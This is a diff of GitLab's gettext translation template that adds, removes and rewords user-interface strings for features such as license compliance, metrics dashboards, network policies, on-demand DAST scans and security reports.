+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
